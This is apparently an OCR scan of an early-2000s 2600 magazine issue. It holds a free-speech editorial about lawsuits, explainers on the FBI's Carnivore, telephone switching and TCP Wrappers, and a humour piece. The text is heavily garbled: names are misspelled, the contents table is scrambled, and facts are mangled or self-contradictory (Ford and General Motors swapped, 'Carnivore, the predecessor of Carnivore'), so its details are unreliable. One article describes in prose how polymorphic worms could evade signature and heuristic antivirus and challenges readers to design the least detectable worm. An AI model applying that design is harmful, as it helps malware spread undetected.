

2600

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Strange Looking Foreign Phones




Kusadasi, Turkey: Said to be near Jesus' first historical house of the Virgin Mary, Verizon phones never get to make calls like that.

Photo by Richard Rejtlich



Sogut Island, Turkey: No major religious icons in sight but this is rumored to be the only such phone on the island, which has less than 300 inhabitants.

Photo by Paul Pate



Luzqa, Malta: Baby blue phone found at the Malta Intercontinental Airport.

Photo by A. Evans



Qzisa, Malta: Ventilators on a theme. Note the near identical features to the blue model.

Photo by A. Evans

Come and visit our website and see our vast array of payphone photos that we've compiled! <http://www.2600.com>

Handling over the digital spectrum, or for that matter the Internet, to private power — that's a huge blow against democracy. In the case of the Internet, it's a particularly dramatic blow against democracy because this was paid for by the public. How democratic can you get? Here is a major instrument, developed by the public — first part of the Pentagon, and then universities and the National Science Foundation — handed over to some warper that nobody knows to private corporations who want to turn it into an instrument of control. They want to turn it into a home shopping center. You know, where it will help them convert you into the kind of person they want. Nobody, someone who is passive, apathetic, sees their life only as a matter of having more commodities that they don't want. Why give them a powerful weapon to turn you into that kind of a person? Especially after you paid for the weapon? Well, that's what's happening right in front of our eyes." — Neorn Chomsky, linguist and political dissident, from an interview with the Boston Phoenix in 1999.

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SCRIPTURE

| | |
|------------------------------|----|
| The Broken Wheels of Justice | 4 |
| What is CarriCore, Really? | 6 |
| Extra Polymeric Worms | 8 |
| Everything Your Parent Told | 9 |
| You About ESS was a Lie | 24 |
| Mitigian Remos | 27 |
| How to Become a Hacker Saint | 13 |
| Misconceptions | 18 |
| About TCP Wrappers | 20 |
| Hacking an NT 4 Domain | 22 |
| from the Desktop - Revisited | 22 |
| Popular Myths on | 23 |
| Password Authentication | 23 |
| Exploring HPJX | 27 |
| Password Schemes | 30 |
| Letters | 30 |
| NOT at School | 40 |
| Fun With Fortres | 41 |
| NOT at Home | 43 |
| The New NIX Network | 45 |
| Tell Me Uses and Abuses | 46 |
| Snopdo* the Stack | 53 |
| Harberolace | 56 |
| Meetings | 58 |

The Bigger Wheels of Justice

We are a nation founded upon the very principles of fairness and equality - at least on paper. We like to tell ourselves that there is equal justice under law and that everyone is created equal, they say. If that's true, we will see you free and all that. But as we get to experience more of that legal system, it becomes painfully clear that such things are flaking at best, next to nonexistent at worst.

Take the most recent stupidity to occur our way ("most recent" meaning at the time this was written) - we can only imagine what other legal battles we'll be facing by the time you read this. You may remember back in October we got out of those nasty letters from General Motors accusing us of trademark infringements for trying to register Truckipedia.com's content. As if anyone would be confused into thinking that such a site was sanctioned by General Motors! We had a good laugh over it back then, as we did with all of the other corporations that tried to quell dissent and criticism by threatening suits which resulted their previous corporate image. We actually had anticipated such attempts, which is one of the reasons why the domains were registered in the first place. And in all of these cases, free speech took the upper hand - nobody was willing to step forward officially and challenge the inherent right of people to express themselves.

Until now, in fact, it was right when we were in the middle of preparing for our Second Circuit appeal in the DoCS case that we became aware of being attempted being made to serve us with more court papers. Another lawsuit. But instead of coming from General Motors, the papers were being filed on behalf of Ford. There had to be some mistake, we thought, since we didn't even have a domain with Ford's name in it. It turned out we didn't have it. You see, right before General Motors turned to litigation us, we hadn't even come by with an actual site yet. We didn't even self-analyze about it. All the publicity for the domain came from the General Motors lawsuit. So while we were waiting for the perfect anti-General Motors site to come along, we retained the domain at their main computer - Ford. And then we kind of got distracted as we were working on the DoCS appeal.

Without any kind of a warning or attempt to even ask anyone at DoCS, Ford simply filed a lawsuit against us. They claimed that we had no right to link to them and that we were somehow engaging in fraudulent behavior - simply by pointing the domain

at them! Those guys went something like this: some one would take it upon themselves to give away truck information even into their browser, would then be compensated to serve Ford.com, and would mind up being morally bankrupt. Unhappily, our Ford was using abusive language against their competitors, Ford would have customers and would have the image irreparably damaged. All because of us.

It was still a day to see how these corporations are respected and attacked the concept of free speech. But now it was no longer simply a lawsuit - they had actually gone and sued us. And we had no choice but to pool our resources and hunt for a lawyer.

At first, this we were still waiting for a verdict - a legal fight since Ford had wanted the judge to rule against us individually. If the judge had thought we were a serious threat to Ford, he would have no doubt ruled on the spot. But this isn't completely about whether or not we win. A major injustice here is that this kind of thing happens in the first place without any kind of accountability. Being dragged into court can be extremely costly and draining, regardless of how things turn out. We last saw Ed back in 1999 when Craig Nielson of Petrolac was charged with a crime for publishing information in an electronic magazine. Even though the charges were dropped, he was left with crippling legal bills. Who was the victor then, the day in court we all imagine where the world finds out that we are innocent of wrongdoing and everything somehow gets made right?

Since those early days, we've seen scores of people get charged with crimes of a ridiculous and absurd nature. We've seen many of them sent to prison. We've seen perpetrators targeting Ed by huge overpositions that cost the endeavors of individuals, such as when General Motors put *Shugster's* Weblog away out of business simply for publishing technical information that their DirecTV subsidiary didn't want people to know. These are not injustices - make no mistake about it. But the injustice takes on an even more serious tone when it no longer speaks to justice whether or not you're found guilty or innocent - whether you win or lose. If you're even brought into the game, you lose regardless of whether or not you win. Sound's crazy? It is. And it's what the American justice system has turned into.

Take the case of Shugster's, our layout artist, who was arrested during the Republican National Convention last year in Philadelphia. From the begin-

ning, it was clear that this was a case of intimidation by the authorities, who seemed to have taken measures in secret against Don't Be a Democrat / Republican. Their goal was to crush any sign of dissent before the first draft of a protest was heard. Even the half - half a million dollars in Shugster's case, double that in others - was designed to make it impossible for people to be released before the conviction was over. It was previously unheard of for people to be held on such astronomically high bails for some trivial offense, which was the root that people were able to be charged with. When it came time for these cases to actually be heard in court, the vast majority of them were dropped for lack of evidence. Shugster's was one of the people who was completely vindicated of any wrongdoing.

So should this be considered a happy ending? Once again, the answer is no. Despite being found innocent of all charges, the way that Shugster's was brought into the system of the legal system means that, by default, he loses. Remember the half million dollar bail? Eventually that was lowered to the grand total of \$10,000 in cash was enough to get him released. You would think that the bail would have been returned when he showed up for the trial. It wasn't. You would think the bail would have been returned when all charges against him were dropped. It isn't.

You would think after forcing a hearing on the matter that the full amount would be given back to the people who supplied it, perhaps with an apology, or maybe even with the interest that had been paid during all this time. But we don't live in a democracy. We live in a 21st century America where people are presumed guilty even after being found innocent. In the end, the court ruled that it had the right to keep \$750 for "administrative costs." And so it goes.

Every time we find ourselves in a court of law, we seem to have lost by default something that we've long earned to be changed. Not that we don't wish the idea of standing up to any of the bullies who put us through this hell. But every time we do, it costs us and not just financially. We have to devote tremendous resources into the sort of simply determining who we are and what we've been doing for all these years. And one has to wonder at the timing. The day before the "Free Kevin" hearing came to an end was the day an injunction came down against us, sealing the DoCS case. And it was while we were getting together the final locations on the DoCS appeal that the Ford papers were filed. We know all about the several significant things - we just didn't expect to be being it so heavily.

Many would say there's a simple solution as these problems. Don't put yourself in a position where you can be a victim. Recognize the dangers and avoid them. It's not an unreasonable suggestion. And that

would have saved us the legal fees from the Ford case. It would have saved the Electronic Frontier Foundation more than a million dollars when they stepped up to defend us in the DoCS case. And it would have saved Shugster's a week in jail. But what would have been gained? Absolutely nothing.

But is not gaining anything really that bad since nothing would have been lost either? The answer we always seem to reach after asking these very questions is that, yes, it is a bad thing. Because by not fighting, we do lose - we lose by default. The loss may not be immediately obvious but its effects become visible pretty quickly. Maybe the next group who registers a site that some corporate giant objects to will be intimidated into agreeing that people indeed don't have the right to criticize them. And then will be the precedent that someone else comes along to challenge it. Same thing with the DoCS case. Agreeing to settle speech would have meant that someone else would one day have to fight to get it back. And that puts a whole lot of hands where someone gets used to the idea that this right no longer exists. All of the unpleasant things that have occurred in the last decade or two - mandatory drug testing, cops in schools, privacy snooping up everywhere, the growing "war" for surveillance - will all be so much harder if not completely impossible, to you back because we let ourselves get used to them. It's always easier to not get involved and thereby reduce the risk of getting arrested for standing on the wrong side of a road for arguing the wrong people. Not by not getting involved, we wind up endorsing whatever direction things are traveling in. And it's usually not a very good direction.

While we will happily accept the case and the risk of going to battle over the issues we believe in, we have object to the way this system penalizes any of us just for being dragged into the legal game. If cases are found to be without merit, the defendant should not be punished or self-financially or otherwise. Perhaps some people would be willing to fight these battles if losing the case was truly the only way to lose.

In October news, our next HOPE conference - H2K2 - has already been finalized and planned for July 12-14, 2002. We now have more than four times the space of the previous conference which allows for practically unlimited possibilities. You can help in the planning stages by joining the H2K2 mailing list - send an e-mail to register@h2k2.com and type "subscribe H2K2" as the first line of the message. Or just check our web sites at www.hope.net and www.h2k2.net.

What Is Carnivore,

Really?

by Achilles Oudaw, Ph.D.

Right off the bat, Carnivore isn't anything to write home about. "Adventure" is a much scarier program.

We're scared of it because of all the mystery. But when one peels back the black shroud, one will see something very different from what was expected.

Most of what we know about Carnivore and the other FBI snarf programs comes from declassified documents released during a lawsuit filed by the Electronic Privacy Information Center (EPIC). 750 pages were released, most of them significantly blacked out. Included in these pages was the source code for Carnivore, the predecessor of Carnivore. That's blacked out, too.

Based on these documents, we know only a few things.


Carnivore was supposedly converted in February of 1997 as Carnivore, an early version that ran on Sun's Solaris platform. A Windows NT version was released in 1999, which is the model used today.

Carnivore is an intercept program, using two methodologies: content sniffing and ISP and tracepoint registers. Content sniffing is what it sounds like: capture all email messages (in both directions) from a given account, or capture all network traffic (both directions) between a specific account/IP address. Trap and trace (inbound traffic) and pen register (outbound traffic) simply refer to the monitoring and recording of traffic to and from a site, ftp or email.

Basically, a full content sniffing has to be authorized by a federal judge, while the trap and tracepoint registers can be granted by pretty much any judge. Therefore, it is "harder" to do a content wiretap. The result is that Carnivore, if ever used, probably isn't copying the entire email, only the "To" and "From" lines. Technically, it can't even copy the "Subject" line of an email because that would be considered content and its use requires a Federal judge's order.

If all of this sounds no different than what any savvy webmaster or ordinary ISP can do, then you've gotten the point.

It is important to understand that Carnivore isn't some supercomputer in Quantico that gets



directed at a suspect. It really is quite benign. Carnivore is literally a "COTS" (Commercial Off The Shelf) Windows NT box. Pentium III (or IV) with a huge drive (2 Gig hard) to store the foundation. This box is taken to an ISP along with a court order/search warrant and information on who exactly they need to surveil on. An underemployed employee at ABC Computer is not sufficient to permit the use of Carnivore.

Why bother with all that? The ISP does not need to comply. If they can provide the information through other means, which is a lot easier than getting a Carnivore box set up. In other words, the ISP can simply copy your emails for the FBI, and Carnivore never gets used.

Where it all gets sticky is when you try and understand exactly how Carnivore gets all this information. Ostensibly, it is a packet sniffer that copies information as it passes by. Everything, including email, goes out over the Internet in packets; Carnivore copies each packet and reconstructs it as a complete email. A packet may occasionally get misrouted, so only an Internet email is reconstructed, but it is always clear which packet was misrouted and that a packet was missed.

The analogous situation is this: Carnivore is a computer that sits in the post office and looks at the return and destination address of every letter that goes by. If either address matches the

suspect's, the letter is copied and then sent back on its way. No match, no copy. Carnivore may copy only pages one, three, and four of the letter, but it will have clearly indicated that it missed page two. In which I say, big deal.

Furthermore, search warrants need to be renewed every month. So if Carnivore was installed, it likely would not be there for longer than that.

The point is that, once again, law enforcement is behind the curve. Email sniffers have been around for a while. Network ICH Custom has an open source version of Carnivore called Allvire (downloadable at www.network.com/ich/custom/). Packet logging will do essentially the same thing, as will TCPDUMP. In fact, Carnivore itself is built with commercial products. Robert Graham, author of a great FAQ (see below), guesses that Ithertool, available to anyone, is used by Carnivore to capture IP address traffic. (Euhartool, along with other programs, is explicitly mentioned in the declassified documents.) And, remember, the ISP can do all this for the FBI anyway; Carnivore doesn't need to be used.

Since Carnivore works off of an email address, it doesn't take a genius to circumvent it. You can get a practically anonymous email account from Yahoo! (just make up the personal information) or use a mailbox or re-mailer. And as Graham points out, it is a very easy defense to say "I didn't send that email - it was another guy using Trojan Horse." You could even say someone sat at your terminal, hit "back" on the browser enough times to get back into the email account, and wrote the offending emails.

So Carnivore isn't all it's cracked up to be. But Carnivore is really only one part of a three part package called DragonWare Suite, the full capabilities of which are still unknown. What is known comes from an analysis by a private firm called SecurityFocus: "DragonWare Suite contains several web pages exactly as a surveillance target saw them while surfing the web." What is also known are some of the programs involved in it: PacketCirc Coordinator, Euhertool. On some of the declassified pages are references to "voice over IP" intercepting Internet calls, or also voice chat, but not how this is done (or if it is done at all).

An interesting side note is that an early version of Carnivore (version 1.2) had to be scrapped because it picked up too much information; version 2.0 was more surgical. It seems at least a little odd that the FBI would want a snarf program that picked up less information. (Going back to the post office analogy, the early Carnivore started copying letters with addresses

that resembled the suspect's - instead of only "John Brownstein" it also copied "Jos Brown" and "J. Albovany," etc. I recognize that the reduction in capability was done because of public concerns over privacy, but it begs the question: if you can get more information, are there times when you're really do? If you know the suspect's last name and home state but nothing else, could Carnivore be used to copy anything that matched?

What Carnivore can't do is sniff out "flagged" words. For example, writing "Osama Bin Laden" and "binah" will not get you picked up by Carnivore, because Carnivore works off of a known suspect's account or address, not content. Therefore, the NSA program that was first used to intercept intercepted voice messages (i.e. phone calls) into text and the searches for flagged words off of the transcription. The important distinction is that Carnivore is used for prosecution, and as such needs to be specific and within the confines of the law. Hence, if it is used, it is for surveillance and identification, so it needs to be as broad as possible. The NSA doesn't want to prosecute you (that's the Justice Department's job). It wants to find you. But what technique is used isn't to be discussed in a later article. The particulars surrounding the question "What is behavior?" may be mysterious.

But any policy blinging on mystery eventually dies.

One last curiosity: the FBI didn't make Carnivore or DragonWare Suite. The JHM has budgeted \$650,000 for an "Enhanced Carnivore" and contracted a commercial firm to do the work. The firm's identity was blacked out in the declassified documents. Anyone want to take a guess?

(For an excellent and much in-depth analysis of Carnivore, you can read Robert Graham's FAQ at www.robertgraham.com/privacy.html.) He is also the author of a great dictionary of lacking terms. The declassified documents themselves can be seen at www.sigs.cba.mil/epic/epicfaq/epicfaq.html.

Extra Polymorphic Worms

by Dr. Leovinus

All of the information, ideas, and source code appearing in this article is for educational purposes only. I deny any responsibility for any use of the information, ideas, and code appearing here, including any responsibility for any variation thereof. My goal is to educate users on just how dangerous new generations of worms and viruses may become so that they can start developing security methods to combat such viruses. All code is written in Java due to its built-in security (which should prevent the included code from being used in destructive applets as is).

In the Winter 2000-2001 issue, xdr00p presented us with a polymorphism script (for demonstration purposes only) written after the polymorphic variant of the LOVEYOU Outlook vbs worm that improved on the comment rewrite strategy employed successfully by the worm. It not only added random comment characters interleaved inside the script with each generation but also removed all of the existing comments first so that there would be no comparison between the signatures left by the comments in the new generation when compared with the existing generation.

Although such a script would fool the majority of e-mail virus detectors that simply rely on known signatures during the virus detection process, they would not get by polymorphic virus detectors that were smart enough to base their signatures on executable code only (and they definitely would not get by advanced virus detectors that used standard generic decryption techniques in a virtual computer which analyzed

execution sequences). However, if we take the ideas presented in the article one step further, we could easily create a worm or trojan which did.

First of all, why stop at comment mutations? Many of today's languages, especially those that support object-based structures to some degree, make code mutation trivial. For example, in Java, I can write a simple program (ReWriter) that will rename all of the class methods and attributes of a given class - the vast majority of the time. (I failed to check for unusual or special syntax in the script and this could be a problem - the script does work on itself and mhmilium.) It is impossible to create a static signature for a worm or trojan based on such a script.

With sufficient analysis, it is possible that one could come up with a relatively accurate dynamic signature of the form [1 ... i2 ... i3 ... nra ...] (i = instruction, n = method call / jump instruction) where all method and attribute names were ignored and only the syntactical structure was analyzed, but as all programs coded in the same language are limited to a relatively small instruction set, the signature would have to be quite large to have any degree of accuracy and would thus be quite difficult to generate from a pure analysis of viral activity.

Moreover, assuming that one could develop such a generic signature dynamically from an analysis of multiple infections, we could take the random nature of our worm one step further and dynamically vary the order of operations. Most of the time, it is possible to identify groups of operations that can be performed in parallel as they are not

interdependent and this will allow us to break down our program into precedence groups, where the operations in each group can be performed in random order as long as the operations in the first group are performed before the operations in the second group, etc.

This is also relatively easy to do in some languages. For example, in Java, if we break down each independent operation, or set of operations, into a different method and classify each method into a different precedence group, we can use reflection to dynamically run the methods in a pseudo-random order and produce a different instruction sequence on each run, which, when combined with polymorphic comments and user-defined names, will completely nullify any attempt to generate a usable signature and allow the virus to slip past any virus detector that is signature based. For example, if each method that can be run in a pseudo-random order inside a precedence group stores its own precedence level, one can write a method in Java in under 30 lines to pseudo-randomly execute every method in a Java class using reflection (RandomRunner).

Of course, there is still a good chance that our worm or trojan will be intercepted by a generic decryptor that uses non-virus specific heuristics that runs the file containing the worm or trojan inside a virtual computer before declaring the file as clean, especially if the implementation of this technology is solid. However, an extension of the above technique could be used to defeat even this technology, which is the most sophisticated anti-virus technology available. The trick is to insure that your worm or trojan performs multiple actions on execution, including those that are benign (and maybe even beneficial). If your worm simply (1) executes instructions to load all of the addresses in the address book, (2) creates a copy of itself for each address,

and (3) sends itself off, this viral pattern will be detected by a well-coded generic decryptor based on a large database of heuristic evidence even though a good implementation of the above techniques will allow the worm or trojan to slip past a signature based detection scheme.

If your worm (a) propagated itself using a prolonged, indirect variant of the algorithm used above, (b) played an included video or sound file, (c) created a useful looking document or spreadsheet according to well-accepted local system rules, and (d) automatically executed some standard commands like auto-reply and open new message window and interleaved each of these tasks into one super-task using the precedence group above, then no predictable pattern would stand out upon execution inside the virtual computer and chances are, your worm or trojan would be given a clean bill of health.

In summary, as with xdr00p's article, I believe that the ideas presented herein form the basis of interesting and challenging problems. Problems that should be thought about, analyzed, and solved by the hacker community at large before some rogue hacker who does not represent the community solves these problems and uses the knowledge therein to infiltrate and damage systems and ruin our bad name.

I also like interesting problems and am anxious to see what others can come up with, particularly in terms of detection and identification algorithms. So I pose a challenge: Algorithmically speaking, what is the most undetectable worm, trojan, or virus that you can devise and how would you stop such a worm, trojan, or virus from infecting computers in the real world? Happy stonking.

Ever Having Hour Parents told you about ESS?

by dala

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<http://www.swt.net/~dala>

Let's say two hypothetical people - we'll call them Mike and Trisan - decide to communicate over a long distance via telephone. Their calls are routed through the high-tech digital telephone grid of the new millennium and they talk about their favorite topic, procrastination, while enjoying a crisp and noise-free signal.

The systems which make up the network their voices will be routed over have changed dramatically over the years, especially in the long-haul nets. SS7 and the local offices, however, have remained surprisingly consistent, at least at theory of operation, their most notable changes being some growth to support modern trends such as residential broadband.

I guess I could just find a piece of software, grep it for 'straps!', write a play-out stack overflow exploit for it, and consider myself a hacker. Why not, you everyone, else does, it's the trend nowadays. Nobody actually thinks or does their own thing anymore. To me at least, that doesn't cut it. I want more. So here I am venturing into a topic that has gone without much attention for the last couple of years, telephone switching. In particular I want to help people get up to speed on the way things are, and to get out of the mentality of the old, misleading telephony materials.

First, some background. The E3 is still in play. Minor, occasional upgrades like



the recent major E2k package, it still operates basically the same as it did ten years ago. Software centric and digital, the switch is the biggest class 5 in operation. It is modular in design and certain components can be added to the switch to facilitate the flexibility that may be required by a certain HOC or serving area. I'm going to talk about ASM, but first some background on AM.

AM/ASM

The Administrative Module is stored in a hospital-blue cabinet, and if you've ever seen an e3 up close you know what I'm talking about. It's just like any other shelf in the cabinet array. Its purpose is similar to the proverbial ESS control channel of which you've read in old LAD texts. The AM allows for centralization of administrative input for common configuration and operational tasks. Many aspects of the switch can be controlled by this module.

You can connect things to the AM, and that's the foundation for the creation of the ASM. The ASM is a task mounted Sun, at least in any configuration that I've seen. Suns are amazing creatures in the telecom industry. You can even throw an SS7 stack on them nowadays. Can you wheel your UltraSparc into your CO and emulate an SS7 node? I don't see why not. Would it make you an asstabe? Yes. But most of you don't care.

Anyway, the ASM connects to the AM of an ESS and is used for many things. For instance, software between AM/ADM's runs

via ASM. A lot of the things you think that you know about have already been replaced by applications running with the aid of the AM or ASM through AM. Telephony is a dynamic business folks. Trash your yellowed 80's textfile primous and order some AT&T manuals.

ASM stands for Administrative Services Module. It connects directly to the AM via a bi-directional serial channel. The module itself is typically a Verma T-1120 "telco server" by Sun. It runs Solaris like any well-behaved Sun product. Thanks to Rixon for dirt on the Verma.

The system obviously has its own IP stack and connects to a proprietary local point of control network for regional switches, as well as a much larger network for software updates. It openly utilizes FTP and telnet for administrative tasks. UUCP is used to some degree. ASM's are connected to a centralized point. This point may control several ES's. That point is fire-walled and connected VPN in another network for a little something called RSD.

The Remote Software Delivery system is there to speed up the process of switch software updates. Not necessarily just the software that drives the switch, more like the enhancements that are sent out on disk by Lucent periodically throughout the year. The claim is that RSD can reduce time to service for new features by half. The ASM plays a major role in this update.

I mentioned that ASM's are connected to "another network" for RSD. The ASM takes the in-core switch and merges it with the update, and then copies it back to the ESS. The quickest way to get a software package onto ASM is to download it directly from the developers. Lucent maintains a "feature server" called the SCANS. SCANS will be connected via VPN to either a centralized server for a group of switches, after which the clients can grab from this server, or the switches can connect directly to SCANS itself. In case a switch tech forgets how to use UUCP,

SCANS accepts dial-in downloads.


Since it is handled in the AM, ASM can take over the recent change duties as well. RCMAC is usually handled in the AM nowadays, and since ASM was created to simplify and expand the AM's duties, it was ported over. There's a nice little user friendly system to administer RC now. It also makes for a nice centralization of Recent Change administration for your OSS group. So you see that theoretically if nothing ever needs to be troubleshoot and no new circuits appear, we don't need anyone in the switch office at all. That's where RNMS comes in... but I'll save that for another day.

SS7 and FACS

The current ESS software version is 5E15. This version provides some SS7 enhancements which were not available in previous versions (although the software has always worked with SS7). A package now available to most switches is the "TRIF Packet Gateway." Using this system developed by Lucent, TOTS calls destined for an ISP are tunneled away from the voice switch and towards the TSP using a dedicated backbone. For once the telco makes a move for the service providers and not the other way around.

SS7 is all grown up. It's a full fledged protocol with its own layer model and everything. AT&T has created something called the CRP which works basically like a customer premise's IP router, except it acts on WATS numbers. Where is this all leading? Routers that switch SS7 on the same wire as IP and voice? Equipment that conditions or switches without sticking to a specific group of protocols? Centralization of all public networks? Pretty cool stuff. You can dig Trauma Inc's nifty SS7 project SevenStack.

What about the old systems you remember reading about? FACS is still used for



How to Become a Hacker


by J-Past

This article explains how a hacker can become an official "saint" as declared by the Pope. How likely is this to happen? Not very. But in theory it is possible. If you are looking forward to becoming a saint in this lifetime, forget about it. The process of canonization can't even start until 50 years after your death - and you'll need at least two miracles and a bunch of great characteristics called "virtuous virtues." There is a fast-tracking procedure where the Pope can skip all the paperwork and just announce that you are "Equipoledant" and you are canonized immediately. Don't count on this though, unless you are an awesome person.

1) Die a Cruel, Horrible Death in the Name of the Church



As a hacker, you are already treated poorly by the media. You are prosecuted unjustly and reviled by the common person



Similar to how Christians were viewed back in the old days. But in order to be considered a saint, you must go beyond this. You must die an awful, torturous death in the name of the Church.

Vincent of Saragossa was stretched on a rack

than laid on a red-hot gridiron. While all this was happening, they were also tearing out his flesh with big hooks. Beautiful Saint Agatha was stretched on a rack, had her breasts cut off, and was thrown naked into burning coal. Forty Christians were ordered to lie naked on a frozen lake until they died. Jonah had his body crushed to death in a wine press. Pelagia was roasted to death in a hollow ball made of bronze because she wouldn't marry the emperor's son. Florian was beaten twice and had his skin peeled slowly from his body before finally being weighted down by rocks and tossed into the river Ems.

Venerables was a rough one. They scourged him, burned him with flaming torches, knocked out his teeth, hung him upside down over a fire, broke his jaw, threw him to the lions, tossed him over a cliff, and finally cut his head off. Learn from these examples.

2) Live Like a Hermit

The less painful way to become a saint is to live an ascetic life. Hey, we hackers are already good at this! We spend hours alone at our computers. Back in the old days, saints used to live in caves. Paul the Hermit lived in caves in the desert for most of his life, and Mark lived in a cave that had a huge overhanging rock that could have fallen and crushed him at any moment.

I recommend breaking your own pillar like Simeon the Stylite and living there (rent free). Unfortunately, Simeon had to keep increasing the height of his pillar because crowds came to look at him. His pillar where he lived for 37 years, eventually became 20 feet tall.

The bad part about living an ascetic life is that after awhile you begin to sink quite badly. The simple fact is that many saints sunk. St. Anthony never in his life washed his feet, and St. Sylvia never washed any part of her body except for her fingers.

3) Miracles - You'll Need Lots of Them

Here's the bad news: As I've already mentioned you'll need at least two miracles to your credit. Even worse, only miracles after your death count. Miracles are judged by a panel of theologians and sometimes "medical experts." Probably the best way to perform miracles after your death is via software that acts in the future. Perhaps a date triggers a virus or some other spectacular change in computers all around the world. I know, I know, this is a long shot.

To make it even tougher to become a saint, you need to perform another miracle even after your two previous miracles have been approved! Basically, the committee waits around until your third (or higher) miracle occurs. Because this miracle stuff is getting so ridiculous, the Church takes the easy way out. They exhume your body from the grave and examine it. If it is in relatively good condition - it isn't rotting too badly - then this can be considered a miracle because it shows that you truly are saintly. Therefore it is absolutely necessary that you invest in a firm, airtight coffin for


your body to lay in and not rot too badly.

4) When all Else Fails Act Crazy

If you can't see yourself doing any of the above, the least you can do is live a religious hacker life and act insane. There were at least three saints who were nuts: Simon Stylus, Joseph of Copertino, and Christina.

The craziest saint of them all was Christina. One day she suffered a fit and lost consciousness. People thought she had died so they buried her - except she wasn't really dead. During the funeral she jumped out of her coffin. She also liked to be swung round and round on mill wheels. She hid in ovens to escape the smell of humans and one time in a church in Wellen, she sat in a fountain of water during the service.

In short, it's not impossible for a hacker to become a saint but it is pretty damn hard. The Catholic Church spends hundreds of thousands of dollars on the process that takes years. It took Joan of Arc almost 500 years after her death before she became a saint. Considering the large time frame, the extremely difficult tasks of performing miracles after your death, and the possibility of living in a stinking hut or being brutally tortured, it may not be worth it after all.



Misconceptions About TCP Wrappers

by Golden Eternity

Both from reading through the articles and discussion forums on security, and in discussing security with friends, I have encountered some misconceptions surrounding `hosts.deny/hosts.allow` and TCP Wrappers. The purpose of this article is to clear up this confusion and hopefully raise some awareness about security. This document is not intended as a "how to," but more as an explanation of the theory behind `hosts.deny` and `ipchains`. This is aimed at Linux 2.2.x, but should translate well to other LINUX platforms.

`hosts.deny` and `hosts.allow` are the controlling configuration files for Wietse Venema's TCP Wrappers, with which you can monitor and filter incoming requests for the `SYSTEM`, `PINGER`, `FTP`, `TELNET`, `RLOGIN`, `RSH`, `EXEC`, `FTPR`, `TALK`, and other network services.^[1] A brief intro can be found at http://ftp.concurrence.org/pub/ssccurly/tcp_wrappers_7.6.B1.CRM1.

TCP Wrappers can be a useful tool, and most beginning security tutorials will state that you must have TCP Wrappers installed if your system is going to be secure. However, I have also found that many of these tutorials will describe methods of securing your system that eliminate the usefulness of TCP Wrappers, such as disabling `inetd` and, along with it, shutting down all the services that are wrapped by TCP Wrappers.

Dæmons that are "wrapped" by TCP Wrappers are started by `inetd` in conjunction with `tcpd[1]`. Some examples are `inetd`, `finger`, `talk`, `finger`, etc. The majority of

these programs are the insecure daemons that just about every security tutorial will tell you to immediately comment out of `inetd.conf`, shutting them down on your system (once you restart `inetd`, of course). For the most part, this is good advice. Many of these services are not used by the common administrator and serve to create the potential for future exploits by an attacker.

Once the average person is done editing their `inetd.conf` file, they generally are down to just `tcpd` and `refined` being run by `inetd[2]`. However, they may also be running other services like a web server, mail server, or DNS server, which aren't being started by `inetd`. If this is the case, it is very important to understand how TCP Wrappers works, or else you may have a false sense of security.

Ignoring `libwrap` for the moment, services which are not started by `tcpd` are not protected by TCP Wrappers[1]. Because of this, if your security policy is to add `hosts/networks` to `hosts.deny` when you want to block them from accessing your server, then you are not actually blocking them from contacting many of your services, or the server in general. You may have a false sense of confidence that you are protected from this attacker. Meanwhile, they are busy knocking down the latest BIND exploit, which will slip right past your `hosts.deny` rules and you'll never even know it. Lets take a look at how this works:

Here is the default configuration for `inetd` as reflected from a standard RedHat 6.1 install:

```
telnet stream tcp nowait root
```

```
./usr/sbin/tcpd in.telnetd
```

When a host attempts to connect to the telnet server on this system, this is what happens (in a reasonable amount of detail):

1. `inetd` detects a connection to port 23 on the system. It recognizes that this is the port for `telnet` (based on the entry in `/etc/services`), and goes to start the server.
2. `./usr/sbin/tcpd` is called by `inetd`, to start `in.telnetd`. `tcpd` will check `hosts.deny` and `hosts.allow` against the inbound connection. `./usr/sbin/tcpd` is the wrapper.

3. If `hosts.deny/hosts.allow` permits the connection, `in.telnetd` is started. Otherwise, the connection is refused and logged through `syslogd`.

In the case of BIND, which is generally not started from `inetd`, the connection does not get intercepted by `inetd`, does not get passed to `tcpd`, and `hosts.deny` is never consulted. Also, simply starting a service from `inetd` does not ensure that it is protected via TCP Wrappers; there must be a wrapper designed for that particular daemon.

If you are using `hosts.deny` as your only means of blocking inbound traffic, you are not protecting yourself!

In order to block your Linux system from accepting data from a particular address, or filtering some other rules (like destination or source port, etc.), you will have to use `ipchains` or block the traffic before it reaches your host via a hardware firewall or router. For most home users, `ipchains` is the only real option.

`ipchains` blocks traffic at the kernel level (this is why if you have a packet logged by `ipchains`, it will be the kernel sending the message to the logger), far before it is intercepted by `inetd` or `tcpd`.

The configuration for `ipchains` is more complicated than `hosts.deny`, and since the rules are stored in memory, rather than in a file, it gets reinitialized on every reboot. However, it is quite easy to build an

`ipchains` ruleset to be executed on startup (e.g., the traditional `rc.firewall`), and the extra work is well worth the added security[3]. Alternatively, firewall software like `patency` may be configured to automatically create `ipchains` rules in the case of un-expected connection attempts.

So why not just start up all your daemons from `inetd`? This is possible, but if you are getting a lot of traffic to your site, the overhead may be more than your system can handle. `inetd` would have to intercept every inbound connection and start up a new server daemon[4]. This requires processor time and memory (for the initial connection, where it kicks off to `tcpd`, where `tcpd` checks `hosts.allow` and `hosts.deny`, and then you have to deal with the startup of the server daemon for each new connection). This is hardly an elegant option, and in many cases it just isn't possible.

Additionally is the potential for exploit of `inetd`. While I am not aware of any recent security issues directly affecting `inetd`, it does run as root, and so could potentially become the target of future exploits. For example, `inetd` might be vulnerable to the security problem that affected Linux kernel 2.2.15, where programs could become unable to alter their effective UID. This is conjecture on my part, but it does seem reasonable.

Footnotes

[1] Some daemons can be made aware of `tcpd` wrappers by inclusion of `libwrap`. In these cases, it is not necessary to start the program through `inetd` for `hosts.deny` to be checked. `libwrap` is not addressed in this article for two reasons: first, `libwrap` is a more advanced topic than this article was intended to be; second, a lack of information available to me at the time of writing prevents me from making any educated statements on the topic.

[2] SSH can be used to provide a secure replacement for telnet, SFTP and SCP are secure replacements for FTP. There are even free, easy to use client programs for SSH and SCP for windows such as PuTTY and WinSCP.

[3] RedHat introduced a shell script in version 6.2 that lets you interact with ipchains in the System V tool style, including an option to save the current rules. This takes some of the work out of maintaining ipchains, but you will still need to create your ipchains rule set.

[4] As an example of this startup overhead, consider the ssh daemon. Each time sshd starts, it generates a raw host key,

which is very processor intensive. If the server was forced to generate a new host key for each inbound connection, the connection could possibly time out before the host key was ready. (Thanks to Matthew Block for pointing this out).


For more information:

